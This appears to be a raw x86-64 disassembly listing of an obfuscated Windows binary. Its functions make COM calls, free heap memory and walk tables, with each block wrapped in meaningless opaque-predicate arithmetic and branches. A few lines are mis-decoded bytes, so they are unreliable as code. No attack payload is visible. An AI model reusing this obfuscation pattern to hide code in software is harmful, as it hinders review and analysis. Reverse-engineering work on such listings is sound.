cmp eax, 0xf4858fe0
ja 0x140020500
test rsi, rsi
je 0x14002053b
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, r15
call rbp
mov eax, dword [0x141dc2f60]
and eax, dword [0x141dc2f64]
add eax, 0x909ee804
shr eax, 1
mov ecx, 0xc42cb49b
imul rax, rcx
shr rax, 0x3d
xor eax, 0x99207abb
cmp eax, 0x18984688
lea r9, [rsp + 0x70]
jb 0x140020a90
mov eax, dword [0x141dc2f68]
xor eax, dword [0x141dc2f6c]
or eax, 0xeb1c0ba7
imul rax, rdi
shr rax, 0x3f
add eax, 0x793a42dd
mov byte [rsp + 0x100], 0x12
cmp eax, 0x8298c971
ja 0x140020a90
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x134], 0
mov rax, qword [r13]
lea rcx, [rsp + 0x134]
mov qword [rsp + 0x20], rcx
mov rcx, r13
mov edx, 0xffffffff
mov r8d, 1
call qword [rax + 0x20]
mov esi, eax
test eax, eax
js 0x14002139e
cmp dword [rsp + 0x134], 0
je 0x140021453
mov rdx, qword [rsp + 0x70]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2f78]
and eax, dword [0x141dc2f7c]
xor eax, 0xd97f827
imul rax, rax, 0x214a0655
shr rax, 0x3d
or eax, 0x79144ee0
cmp eax, 0x93bfe3e8
ja 0x140020600
test rdx, rdx
je 0x140021467
lea rcx, [rsp + 0x140]
call fcn.140003430
mov rsi, qword [rsp + 0x140]
lea rdx, [rsp + 0x148]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
test rsi, rsi
je 0x14002155f
mov eax, dword [0x141dc2f98]
or eax, dword [0x141dc2f9c]
add eax, 0xbf15f384
and eax, 0x68617cb4
xor eax, 0x7b9b80a3
cmp eax, 0x2c69f379
jae 0x1400206b0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
movzx eax, byte [0x141ddb9b8]
nop dword [rax + rax]
mov eax, dword [0x141dc2fa0]
or eax, dword [0x141dc2fa4]
add eax, 0x798f4c9a
or eax, 0xd248d4e0
imul eax, eax, 0x4d123ead
mov rdi, qword [rsp + 0x168]
movdqu xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movdqa xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xe0], xmm1
movzx ecx, byte [0x141ddb9b8]
cmp eax, 0xf960a80d
je 0x1400206b0
mov edx, 0xc0
xor ecx, ecx
call fcn.1400bf820
test rax, rax
je 0x140021732
mov r15, rax
mov qword [rax], rsi
mov eax, dword [str.QBlc]
xor edx, edx
div dword [0x141dc2fb4]
or eax, 0xff5e7f67
add eax, 0xbab2b196
cmp eax, 0xff66651b
jbe 0x140020775
movdqa xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movups xmmword [r15 + 0x18], xmm1
movdqu xmmword [r15 + 8], xmm0
mov qword [r15 + 0x28], rdi
mov qword [rsp + 0x230], 4
mov qword [rsp + 0x238], r15
mov qword [rsp + 0x240], 1
movdqa xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movups xmmword [r15 + 0x18], xmm1
movdqu xmmword [r15 + 8], xmm0
mov qword [r15 + 0x28], rdi
mov qword [rsp + 0x230], 4
mov qword [rsp + 0x238], r15
mov qword [rsp + 0x240], 1
lea rsi, [rsp + 0x70]
mov eax, 1
mov qword [rsp + 0x38], rax
lea rdi, [rsp + 0x134]
jmp 0x140020801
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x134], 0
mov rax, qword [r13]
mov qword [rsp + 0x20], rdi
mov rcx, r13
mov edx, 0xffffffff
mov r8d, 1
mov r9, rsi
call qword [rax + 0x20]
mov eax, dword [0x141dc2fb8]
xor edx, edx
div dword [0x141dc2fbc]
mov r12d, eax
and r12d, 0x1666042d
add r12d, 0x58afac2f
or r12d, 0xe12535cb
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x134], 0
mov rax, qword [r13]
mov qword [rsp + 0x20], rdi
mov rcx, r13
mov edx, 0xffffffff
mov r8d, 1
mov r9, rsi
call qword [rax + 0x20]
cmp r12d, 0xffe3ef1d
ja 0x1400207d0
mov r14d, eax
test eax, eax
js 0x140020aa0
mov eax, dword [rsp + 0x134]
nop word [rax + rax]
mov ecx, dword [0x141dc2fd0]
mov edx, dword [0x141dc2fd4]
add ecx, edx
add ecx, 0x7f76a82e
cmp ecx, 0x890313f8
ja 0x140020880
test eax, eax
mov r12, qword [rsp + 0x38]
je 0x140020b70
mov rdx, qword [rsp + 0x70]
nop
mov eax, dword [0x141dc2fd8]
imul eax, dword [0x141dc2fdc]
add eax, 0xcd976166
and eax, 0x36655d58
add eax, 0xeb3e2caa
cmp eax, 0x17920e9d
jb 0x1400208b0
test rdx, rdx
je 0x140020ba0
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x210], rdx
call fcn.140003430
mov r14, qword [rsp + 0x140]
lea rax, [rsp + 0x148]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
test r14, r14
je 0x140020c33
mov rbx, qword [rsp + 0x168]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
nop dword [rax + rax]
mov eax, dword [0x141dc3028]
add eax, dword [0x141dc302c]
or eax, 0xf32fd53d
add eax, 0x69327df5
cmp eax, 0xcc40f0b5
ja 0x140020940
cmp r12, qword [rsp + 0x230]
je 0x1400209d4
nop word [rax + rax]
mov eax, dword [0x141dc3030]
xor edx, edx
div dword [0x141dc3034]
add eax, 0x28aa7c8f
xor eax, 0x190c0
or eax, 0x4fc62d18
lea rdx, [r12 + r12*2]
shl rdx, 4
lea rcx, [r12 + 1]
mov qword [r15 + rdx], r14
movdqa xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movdqu xmmword [r15 + rdx + 8], xmm0
movups xmmword [r15 + rdx + 0x18], xmm1
mov qword [r15 + rdx + 0x28], rbx
mov qword [rsp + 0x240], rcx
cmp eax, 0xb6105ae3
jae 0x140020970
mov qword [rsp + 0x38], rcx
jmp 0x140020801
mov eax, dword [0x141dc3038]
sub eax, dword [0x141dc303c]
and eax, 0x811220ba
xor eax, 0xd9c40d30
cmp eax, 0x1b8ad88a
invalid
mov bl, byte [rbx]
jae 0x140020a16
mov qword [rsp + 0x20], 0x30
mov r8d, 1
mov r9d, 8
lea rcx, [rsp + 0x230]
mov rdx, r12
call fcn.1400fd630
mov qword [rsp + 0x20], 0x30
mov r8d, 1
mov r9d, 8
lea rcx, [rsp + 0x230]
mov rdx, r12
call fcn.1400fd630
nop dword [rax + rax]
mov eax, dword [0x141dc3040]
or eax, dword [0x141dc3044]
cmp eax, 0xb2f8cdf1
je 0x140020a40
mov r15, qword [rsp + 0x238]
nop dword [rax + rax]
mov eax, dword [0x141dc3048]
sub eax, dword [0x141dc304c]
and eax, 0x26d7916f
imul eax, eax, 0xdf76a569
add eax, 0x36e90f26
psubsw mm6, qword [rsi]
cmp eax, 0x95ec4a73
jb 0x140020a60
jmp 0x140020970
mov byte [rsp + 0x100], 0x12
jmp 0x140020570
mov qword [rsp + 0x140], 0
xor ecx, ecx
lea rdx, [rsp + 0x140]
add byte [rax], al
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
mov r12, qword [rsp + 0x140]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2fc0]
imul eax, dword [0x141dc2fc4]
and eax, 0xf82d3656
add eax, 0x4ae6772
and eax, 0xc06834be
cmp eax, 0x3669fc71
jb 0x140020ad0
test r12, r12
je 0x140020d66
mov rax, qword [r12]
mov rsi, qword [rax + 0x10]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2fc8]
xor edx, edx
div dword [0x141dc2fcc]
fiadd dword [rcx]
mov ebp, eax
and ebp, 0x393af48e
xor ebp, 0xa37d1156
add ebp, 0x45cbaa4f
mov rcx, r12
call rsi
cmp ebp, 0x378e297b
jb 0x140020b10
xor esi, esi
mov dword [rsp + 0x248], r14d
mov rbp, qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
jne 0x140020b7d
jmp 0x140020b83
mov sil, 0x13
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140020b83
mov rax, qword [rcx]
call qword [rax + 0x10]
test r14d, r14d
jns 0x140020e9f
lea r10, [rsp + 0x148]
mov rdx, qword [rsp + 0x210]
jmp 0x140020bab
mov sil, 0xf
lea r10, [rsp + 0x148]
mov byte [rsp + 0x148], sil
movzx eax, byte [rsp + 0x257]
mov byte [r10 + 3], al
movzx eax, word [rsp + 0x255]
mov word [r10 + 1], ax
mov eax, dword [rsp + 0x248]
mov dword [rsp + 0x14c], eax
mov qword [rsp + 0x210], rdx
mov qword [rsp + 0x150], rdx
movups xmm0, xmmword [rsp + 0xd0]
movups xmmword [r10 + 0x10], xmm0
movzx eax, byte [r10]
movzx ecx, word [r10 + 1]
movzx edx, byte [r10 + 3]
mov r8, qword [r10 + 4]
mov r9d, dword [r10 + 0xc]
movdqu xmm0, xmmword [r10 + 0x10]
mov byte [rsp + 0x70], al
mov word [rsp + 0x71], cx
mov byte [rsp + 0x73], dl
mov qword [rsp + 0x74], r8
mov dword [rsp + 0x7c], r9d
movdqa xmmword [rsp + 0x80], xmm0
mov ecx, 0x8b853e11
nop dword [rax + rax]
mov eax, dword [0x141dc2fe0]
and eax, dword [0x141dc2fe4]
xor eax, 0x48532cc6
imul rax, rcx
shr rax, 0x3f
xor eax, 0x2b61d2cb
cmp eax, 0xbb78fbbc
ja 0x140020c40
movzx eax, byte [rsp + 0x100]
cmp eax, 0x12
je case.0x140020cbe.0
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2fe8]
or ecx, dword [0x141dc2fec]
or ecx, 0x13690d92
imul ecx, ecx, 0xedbcae20
add ecx, 0x9d7eb6e0
cmp ecx, 0x310aa77d
jb 0x140020c80
cmp rax, 0x10
ja case.default.0x140020cbe
lea rcx, [0x141dba068]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x108]
nop dword [rax + rax]
mov ecx, dword [0x141dc3000]
or ecx, dword [0x141dc3004]
imul ecx, ecx, 0xc7067a2a
add ecx, 0x657b348e
and ecx, 0xf4a47b60
cmp ecx, 0x41c7559e
ja 0x140020cd0
mov edx, 0xa29f0347
nop dword [rax + rax]
mov ecx, dword [0x141dc3008]
or ecx, dword [0x141dc300c]
imul rcx, rdx
shr rcx, 0x3f
imul ecx, ecx, 0xf73ac96e
cmp ecx, 0xc76aac08
je 0x140020d00
jmp 0x140020e1a
mov eax, dword [0x141dc2ff0]
sub eax, dword [0x141dc2ff4]
add eax, 0x2a310180
or eax, 0x9502ba1d
cmp eax, 0x75046c3d
je case.default.0x140020cbe
mov esi, 0x10
cmp qword [rsp + 0x108], 0
jne 0x140020e43
jmp case.0x140020cbe.0
xor esi, esi
mov dword [rsp + 0x248], r14d
mov r12, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
jne 0x140020b7d
jmp 0x140020b83
mov ecx, 0xd04edf5b
nop dword [rax]
mov eax, dword [0x141dc3018]
sub eax, dword [0x141dc301c]
or eax, 0xb3b3f7b3
imul rax, rcx
shr rax, 0x3e
imul eax, eax, 0x50c2ae6f
cmp eax, 0x159e22e0
jb 0x140020d90
mov rax, qword [rsp + 0x110]
nop
mov ecx, dword [0x141dc3020]
imul ecx, dword [0x141dc3024]
imul ecx, ecx, 0x72e7381c
add ecx, 0x481de6be
cmp ecx, 0x630d3cf3
ja 0x140020dc0
mov esi, 8
test rax, rax
jne 0x140020e43
jmp case.0x140020cbe.0
mov rax, qword [rsp + 0x108]
nop dword [rax + rax]
mov ecx, dword [0x141dc3010]
sub ecx, dword [0x141dc3014]
imul ecx, ecx, 0xffc87b1d
cmp ecx, 0x5c44d56a
je 0x140020e00
mov esi, 0x10
test rax, rax
jne 0x140020e43
jmp case.0x140020cbe.0
mov r8, qword [rsp + rsi + 0x100]
mov rcx, qword [0x141ddb9a0]
xor edx, edx
call rbp
mov edi, dword [0x141dc2ff8]
and edi, dword [0x141dc2ffc]
xor edi, 0x606c86dd
add edi, 0x41aaf5b2
and edi, 0xbcb4e68a
mov r8, qword [rsp + rsi + 0x100]
mov rcx, qword [0x141ddb9a0]
xor edx, edx
call rbp
cmp edi, 0x6217c094
jb 0x140020e30
nop dword [rax]
movdqa xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x110], xmm1
movdqa xmmword [rsp + 0x100], xmm0
mov eax, dword [0x141dc3050]
xor edx, edx
div dword [0x141dc3054]
xor eax, 0xa112b4ca
add eax, 0xcdf10699
xor eax, 0x7f8bf8e2
cmp eax, 0x5fbd88fe
jbe 0x140020ecd
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x230]
cmp byte [rsp + 0x100], 0x12
jne 0x140021762
test r12, r12
je 0x14002146f
mov qword [rsp + 0x228], rdx
xor esi, esi
lea r12, [rsi + rsi*2]
shl r12, 4
mov rax, qword [r15 + r12 + 8]
test rax, rax
je 0x1400210e9
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x68], rsi
add r12, r15
mov rbx, qword [r12 + 0x18]
test rbx, rbx
je 0x140020ff0
mov rdi, qword [r12]
movdqa xmm0, xmmword [rdi]
pmovmskb esi, xmm0
not esi
lea rbp, [rdi + 0x10]
jmp 0x140020f72
lea r13d, [rsi - 1]
and r13d, esi
dec rbx
add r14, 0xffffffffffffffe0
mov rcx, r14
call fcn.14000f5d0
mov esi, r13d
test rbx, rbx
je 0x140020ff0
test si, si
jne 0x140020f9e
nop word [rax + rax]
movdqa xmm0, xmmword [rbp]
pmovmskb esi, xmm0
add rdi, 0xfffffffffffffc80
add rbp, 0x10
cmp esi, 0xffff
je 0x140020f80
not esi
tzcnt eax, esi
neg rax
imul rax, rax, 0x38
lea r14, [rdi + rax]
cmp qword [rdi + rax - 0x38], 0
je 0x140020f50
nop word cs:[rax + rax]
mov eax, dword [0x141dc30c0]
xor eax, dword [0x141dc30c4]
mov r8, qword [r14 - 0x30]
mov rcx, qword [0x141ddb9a0]
cmp eax, 0x46df7af2
je 0x140020fc0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140020f50
mov r8, qword [rsp + 0x138]
lea rax, [r8 + 1]
mov ecx, 0x38
mul rcx
mov rcx, rax
mov edx, 0xde9cf9a5
nop dword [rax]
mov eax, dword [0x141dc30c8]
imul eax, dword [0x141dc30cc]
imul rax, rdx
shr rax, 0x3c
imul eax, eax, 0x903dd63d
add eax, 0x6dcd970
cmp eax, 0x7075fd97
ja 0x140021010
add rcx, 0xf
and rcx, 0xfffffffffffffff0
add r8, 0x11
add r8, rcx
mov rbp, qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x68]
je 0x1400210e9
mov r14, qword [r12]
nop dword [rax]
mov eax, dword [0x141dc30d0]
xor edx, edx
div dword [0x141dc30d4]
imul rdx, rax, 0x2e000aad
shr rdx, 0x20
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1c
xor eax, 0x9ede96de
imul eax, eax, 0x9613e150
mov r12, qword [0x141ddb9a0]
cmp eax, 0x817ca071
jae 0x1400210b0
mov rax, qword [0x141ddb9a0]
jmp 0x140021060
sub r14, rcx
mov eax, dword [0x141dc30d8]
or eax, dword [0x141dc30dc]
xor eax, 0xa2ed11d2
add eax, 0xda5b9378
or eax, 0x38200674
cmp eax, 0xa0019388
jbe 0x1400210df
mov rcx, r12
xor edx, edx
mov r8, r14
call rbp
mov rcx, r12
xor edx, edx
mov r8, r14
call rbp
inc rsi
nop dword [rax]
mov eax, dword [0x141dc30e0]
xor edx, edx
div dword [0x141dc30e4]
and eax, 0x312611
add eax, 0xeda4ec21
cmp eax, 0x1e085532
jb 0x1400210f0
cmp rsi, qword [rsp + 0x38]
jne 0x140020f00
nop word [rax + rax]
mov eax, dword [0x141dc30e8]
xor eax, dword [0x141dc30ec]
imul eax, eax, 0x48500308
xor eax, 0x9008bbd3
add eax, 0x77345588
cmp eax, 0x24d4c965
jb 0x140021120
cmp qword [rsp + 0x228], 0
je 0x1400211f0
nop word cs:[rax + rax]
mov eax, dword [0x141dc30f0]
xor edx, edx
div dword [0x141dc30f4]
imul eax, eax, 0xe7eefa07
mov rsi, qword [0x141ddb9a0]
cmp eax, 0x9f646d60
je 0x140021160
mov eax, dword [0x141dc30f8]
xor eax, dword [0x141dc30fc]
imul eax, eax, 0xfea500aa
add eax, 0x6881177b
or eax, 0x967bc98
cmp eax, 0x3aec802e
jb 0x1400211e0
nop word cs:[rax + rax]
mov edi, dword [0x141dc3100]
add edi, dword [0x141dc3104]
or edi, 0x376db104
add edi, 0xe5ca1f06
or edi, 0x465e2052
mov rcx, rsi
xor edx, edx
mov r8, r15
call rbp
cmp edi, 0xc0168afa
jae 0x1400211f0
mov rcx, rsi
xor edx, edx
mov r8, r15
call rbp
jmp 0x1400211b0
mov eax, dword [0x141dc3108]
imul eax, dword [0x141dc310c]
or eax, 0xc1b62e86
imul rax, rax, 0x221316fd
shr rax, 0x3c
xor eax, 0xc4581e55
cmp eax, 0x4e39b8ed
jb 0x1400211f0
cmp qword [rsp + 0x220], 0
mov rdi, qword [rsp + 0x218]
je 0x1400212d0
mov eax, dword [0x141dc3110]
add eax, dword [0x141dc3114]
imul eax, eax, 0x7e930c56
add eax, 0x2c73cf7b
cmp eax, 0x42d99f33
jae 0x140021260
mov rax, qword [0x141ddb9a0]
nop word cs:[rax + rax]
mov eax, dword [0x141dc3118]
or eax, dword [0x141dc311c]
xor eax, 0x1a801415
and eax, 0xdee11c3d
imul eax, eax, 0x7027aa
mov rcx, qword [0x141ddb9a0]
cmp eax, 0x9dfd293b
jb 0x140021260
xor edx, edx
mov r8, qword [rsp + 0x128]
call rbp
nop word cs:[rax + rax]
mov eax, dword [0x141dc3120]
sub eax, dword [0x141dc3124]
or eax, 0x302502a8
and eax, 0x72a552bc
add eax, 0x6a41a1e3
cmp eax, 0x933bca1a
jb 0x1400212a0
nop word cs:[rax + rax]
mov eax, dword [0x141dc3128]
xor edx, edx
div dword [0x141dc312c]
add eax, 0x705e1b59
and eax, 0xa9f095b5
imul eax, eax, 0x1387982f
cmp eax, 0xb5209916
jb 0x1400212d0
cmp rdi, 9
mov rdx, qword [rsp + 0xf8]
jne 0x14002024c
jmp 0x14002133f
lea rax, [rdi*8]
lea rcx, [rax + rax*2]
mov eax, 0xd8
sub rax, rcx
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov rsi, rdx
mov rdx, qword [rsp + 0xf8]
cmp rdi, 9
jne 0x1400215c8
mov rdi, rdx
nop word cs:[rax + rax]
mov esi, dword [0x141dc2ec8]
imul esi, dword [0x141dc2ecc]
add esi, 0xdf46a0dc
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, rdi
call rbp
cmp esi, 0x2d672b4e
jbe 0x140021389
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, rdi
call rbp
jmp 0x140021350
mov rcx, qword [rsp + 0x268]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor edi, edi
jmp 0x140021b0f
mov qword [rsp + 0x140], 0
lea rdx, [rsp + 0x140]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
mov rcx, qword [rsp + 0x140]
test rcx, rcx
je 0x1400213cd
mov rax, qword [rcx]
call qword [rax + 0x10]
mov eax, dword [0x141dc2f70]
or eax, dword [0x141dc2f74]
imul eax, eax, 0x133fbe88
add eax, 0x61d86348
cmp eax, 0x56bc013f
jbe 0x1400213f0
mov byte [rsp + 0x40], 0
xor eax, eax
nop word cs:[rax + rax]
mov byte [rsp + 0x40], 0
test al, al
jne 0x140021400
mov dword [rsp + 0x44], esi
xor edi, edi
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14002141f
mov rax, qword [rcx]
call qword [rax + 0x10]
test esi, esi
js 0x1400214e8
mov eax, dword [0x141dc2f88]
or eax, dword [0x141dc2f8c]
imul rax, rax, 0x155c59d
shr rax, 0x35
add eax, 0x893c66f5
cmp eax, 0x35ffa12e
jb 0x140021955
jmp 0x140021926
mov byte [rsp + 0x40], 0x13
mov dil, 0x13
mov rcx, qword [rsp + 0x70]
test rcx, rcx
jne 0x140021419
jmp 0x14002141f
mov dil, 0xf
jmp 0x1400214ed
mov rcx, qword [rsp + 0xf8]
nop word [rax + rax]
mov eax, dword [0x141dc3070]
and eax, dword [0x141dc3074]
imul eax, eax, 0xbde5d914
add eax, 0x1ca5d34c
or eax, 0x36a7762c
cmp eax, 0x9d48acef
ja 0x140021480
test rdx, rdx
je 0x14002197e
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0xf8]
nop word cs:[rax + rax]
mov eax, dword [0x141dc3078]
and eax, dword [0x141dc307c]
cmp eax, 0x1a2db209
je 0x1400214d0
jmp 0x14002197e
mov rdx, qword [rsp + 0x48]
lea r10, [rsp + 0x148]
mov byte [rsp + 0x148], dil
lea r8, [rsp + 0x50]
mov eax, dword [r8 - 0xf]
mov ecx, dword [r8 - 0xc]
mov dword [r10 + 4], ecx
mov dword [r10 + 1], eax
mov qword [rsp + 0x150], rdx
movups xmm0, xmmword [r8]
movups xmmword [r10 + 0x10], xmm0
movzx eax, byte [r10]
mov ecx, dword [r10 + 1]
movzx edx, word [r10 + 5]
movzx r8d, byte [r10 + 7]
mov r9, qword [r10 + 8]
movdqu xmm0, xmmword [r10 + 0x10]
movdqa xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], al
mov dword [rsp + 0x71], ecx
mov word [rsp + 0x75], dx
mov byte [rsp + 0x77], r8b
mov qword [rsp + 0x78], r9
mov eax, dword [0x141dc2f80]
add eax, dword [0x141dc2f84]
xor eax, 0x39d84518
imul eax, eax, 0xf666c093
cmp eax, 0x41adba39
jne 0x14002159c
movdqa xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x110], xmm1
movdqa xmmword [rsp + 0x100], xmm0
movdqa xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0x110], xmm1
movzx ebx, byte [rsp + 0x100]
jmp 0x140021963
lea rax, [rdi + rdi*2]
lea rdi, [rdx + rax*8]
shr rsi, 4
xor ebx, ebx
jmp 0x1400215f8
xor edx, edx
call rbp
mov rdx, qword [rsp + 0xf8]
inc rbx
cmp rbx, rsi
je 0x14002133f
lea rax, [rbx + rbx*2]
cmp qword [rdi + rax*8], 0
je 0x1400215ec
lea rax, [rdi + rax*8]
mov r8, qword [rax + 8]
nop dword [rax + rax]
mov eax, dword [0x141dc2ec0]
and eax, dword [0x141dc2ec4]
or eax, 0x5515e439
add eax, 0xff5e2313
mov rcx, qword [0x141ddb9a0]
cmp eax, 0x63fe7685
jbe 0x1400215e0
mov rax, qword [0x141ddb9a0]
jmp 0x140021610
mov eax, dword [0x141dc2e40]
xor edx, edx
div dword [0x141dc2e44]
imul rcx, rax, 0x3651c87
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1e
imul eax, eax, 0x1e39ca0a
or eax, 0x712b834e
cmp eax, 0xfa187e4c
jbe 0x140021673
ud2
ud2
mov eax, dword [0x141dc2ee8]
xor eax, dword [0x141dc2eec]
mov ecx, 0xc4d82bd3
imul rcx, rax
shr rcx, 0x3e
imul eax, ecx, 0x5f92cf48
add eax, 0xad8f91f8
cmp eax, 0x1cb39ff5
jbe 0x1400216cf
ud2
ud2
mov eax, dword [0x141dc2f00]
imul eax, dword [0x141dc2f04]
add eax, 0x43f0ab57
mov ecx, 0xc1a2159d
imul rcx, rax
shr rcx, 0x3f
cmp ecx, 0xd3a6120b
ja 0x140022927
jmp 0x1400228fe
ud2
mov rsi, rdx
test r12, r12
je 0x140021781
mov rdi, r15
nop dword [rax]
mov rcx, rdi
call fcn.14000d8d0
add rdi, 0x30
dec r12
jne 0x140021770
test rsi, rsi
je 0x1400217a0
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
mov eax, dword [0x141dc3058]
xor edx, edx
div dword [0x141dc305c]
imul eax, eax, 0x88e9ab35
add eax, 0x8036ead6
cmp eax, 0xe572959a
ja 0x1400217a0
jmp 0x140022897
mov eax, dword [0x141dc2e50]
xor edx, edx
div dword [0x141dc2e54]
imul rax, rax, 0xced6f05
shr rax, 0x3b
or eax, 0x3dbffc8e
cmp eax, 0xb2312af2
jbe 0x1400217f0
ud2
ud2
mov eax, dword [0x141dc2e10]
or eax, dword [0x141dc2e14]
add eax, 0x8920bdb4
xor eax, 0xaea3cdd0
cmp eax, 0x1ee445b3
jae 0x140021820
ud2
mov eax, dword [0x141dc2e18]
add eax, dword [0x141dc2e1c]
imul eax, eax, 0x7cee4f2a
and eax, 0x6a74ac84
add eax, 0x1dd6e1c1
ud2
mov eax, 0x98a02585
nop dword [rax + rax]
mov ecx, dword [str.W6pC]
imul ecx, dword [0x141dc2e7c]
imul rcx, rax
shr rcx, 0x3e
imul ecx, ecx, 0xa3663dde
xor ecx, 0x3cf247a4
ud2
mov edi, dword [0x141dc2c40]
xor edi, dword [0x141dc2c44]
xor edi, 0xffa165a0
add edi, 0xef9b2778
xor edi, 0x2a26dd74
mov r8, qword [rsp + rsi + 0x40]
mov rcx, qword [0x141ddb9a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp edi, 0x978b7f46
jbe case.0x14001e4af.0
mov r8, qword [rsp + rsi + 0x40]
mov rcx, qword [0x141ddb9a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400218d2
mov eax, dword [0x141dc2f90]
or eax, dword [0x141dc2f94]
imul rsi, rax, 0x41c0c277
shr rsi, 0x3e
add esi, 0xc1d6cc89
lea rcx, [rsp + 0x40]
call fcn.14000db50
cmp esi, 0xa6c0c8e9
ja 0x140021961
lea rcx, [rsp + 0x40]
call fcn.14000db50
jmp 0x140021926
mov bl, 0x12
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
cmp bl, 0x12
mov rcx, qword [rsp + 0xf8]
jne 0x140022897
mov rbx, qword [rsp + 0x218]
lea rax, [rbx + rbx*2]
lea rdi, [rcx + rax*8]
nop
mov eax, dword [0x141dc3080]
add eax, dword [str..Q___]
and eax, 0xa6081100
add eax, 0x85b2e5e1
cmp eax, 0x36874ac4
jb 0x140021990
cmp qword [rsp + 0x220], 0
je 0x140021a26
mov eax, dword [0x141dc3088]
xor edx, edx
div dword [0x141dc308c]
and eax, 0xcf833391
mov ecx, 0x9860aad3
imul rcx, rax
shr rcx, 0x3e
imul eax, ecx, 0xb8d45766
cmp eax, 0x73e103a4
jbe 0x1400219f0
mov rax, qword [0x141ddb9a0]
nop dword [rax]
mov eax, dword [0x141dc3090]
xor edx, edx
div dword [0x141dc3094]
add eax, 0x81d27d38
or eax, 0x3297eafb
mov rcx, qword [0x141ddb9a0]
cmp eax, 0x45041558
jb 0x1400219f0
xor edx, edx
mov r8, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [rbx*8]
lea rax, [rax + rax*2]
neg rax
nop word cs:[rax + rax]
mov ecx, dword [0x141dc3098]
xor ecx, dword [0x141dc309c]
xor ecx, 0xf0a7d9c8
imul rcx, rcx, 0x5e33fc0f
shr rcx, 0x3d
imul ecx, ecx, 0x10ad6624
cmp ecx, 0x27208abd
ja 0x140021a40
add rax, 0xd8
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp rbx, 9
jne 0x140021bef
mov eax, dword [str._aM_Y]
imul eax, dword [0x141dc30b4]
imul eax, eax, 0xd921c862
cmp eax, 0x3226f286
jne 0x140021ab9
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, qword [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, qword [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x268]
mov rax, qword [rsi]
mov rdi, qword [rax + 0x10]
mov eax, dword [0x141dc30b8]
xor eax, dword [0x141dc30bc]
add eax, 0x4776c956
or eax, 0x4e1760f7
imul eax, eax, 0xb0a11111
cmp eax, 0x839dba22
jbe 0x140021b07
mov rcx, rsi
call rdi
mov rcx, rsi
call rdi
mov dil, 1
lea rdx, [0x141db9b68]
lea rsi, [rsp + 0x140]
mov r8d, 0xa
mov rcx, rsi
call fcn.1400de170
cmp byte [rsp + 0x140], 0x12
jne 0x140021c88
mov dword [rsp + 0xf8], edi
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x40], rax
lea rax, [0x141db480a]
mov qword [rsp + 0x140], rax
